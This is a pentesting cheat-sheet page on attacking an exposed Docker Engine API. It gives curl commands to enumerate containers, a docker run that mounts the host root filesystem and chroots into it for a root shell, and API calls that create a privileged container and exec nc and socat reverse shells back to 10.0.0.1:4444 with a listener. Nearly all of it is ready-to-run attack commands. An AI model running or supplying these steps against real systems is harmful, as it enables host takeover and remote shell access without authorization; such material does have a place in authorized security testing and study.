Docker Engine API Pentesting
Last modified: 2023-02-25
The Docker Engine API is a RESTfull API accessed by an HTTP client. The default ports are 2375, 2376. The socket file is located at /var/run/docker.sock.
Enumeration
curl <ip>:2375/containers/json
# The specific container
curl <ip>:2375/containers/<id or name>/json
# Logs
curl <ip>:2375/containers/<id or name>/logs?stderr=1&stdout=1
# Inpsect changes
curl <ip>:2375/containers/<id or name>/changes
Privilege Escalation from Docker Image
We may be able to get a root shell from remote Docker images.
1. Check if Docker is Running in Local Machine
In local machine, check if docker is running.
sudo systemctl status docker
If the docker is not running, start it.
sudo systemctl stop docker
sudo systemctl start docker
2. List Remote Docker Images
We need to find what images exist in target Docker API.
docker -H <target-ip>:2375 images
3. Get a Shell
After getting an image, we can use it to create a new container and run with executing sh
.
docker -H <target-ip>:2375 run -v /:/mnt --rm -it <running-image-name> chroot /mnt sh
Now we should get a root shell.
Remote Code Execution (RCE)
Reference: https://dejandayoff.com/the-danger-of-exposing-docker.sock/
We might be able to execute remote code by create a new container image using the existing one.
1. Check the Image Name
First we need to find the existing container image and the name of it.
curl <ip>:2375/containers/json
curl <ip>:2375/containers/<id or name>/json
2. Create/Start a New Container
If we found the container image name, prepare a new container configuration named “image.json”.
{
"Image": "sweettoothinc:latest",
"Cmd": ["/bin/bash"],
"Binds": ["/:/mnt:rw"]
}
Then create a new container using Docker Engine API.
curl -X POST -H "Content-Type: application/json" -d @image.json <ip>:2375/containers/create
We get the new container ID, so copy it.
After that, start the new container.
curl -X POST <ip>:2375/containers/<new_container_id>/start
3. Create a New Exec Instance
Next create a exec instance to reverse shell.
-
Ncat
curl -X POST -H "Content-Type: application/json" --data-binary '{"AttachStdin": true, "AttachStdout": true, "AttachStderr": true, "Cmd": ["nc", "10.0.0.1", "4444", "-e", "/bin/bash"], "DetachKeys": "ctrl-p,ctrl-q", "Privileged": true, "Tty": true}' <ip>:2375/containers/<new_container_id>/exec
-
Socat
curl -X POST -H "Content-Type: application/json" --data-binary '{"AttachStdin": true, "AttachStdout": true, "AttachStderr": true, "Cmd": ["socat", "TCP:10.0.0.1:4444", "EXEC:sh"], "DetachKeys": "ctrl-p,ctrl-q", "Privileged": true, "Tty": true}' <ip>:2375/containers/<new_container_id>/exec
We get a exec ID, so copy it.
4. Start an Exec Instance & Reverse Shell
Start a listener in local machine.
nc -lvnp 4444
Now start an exec instance and get a shell.
curl -X POST -H "Content-Type: application/json" --data-binary '{"Detach": false, "Tty": false}' <ip>:2375/exec/<exec_id>/start
We should get a shell.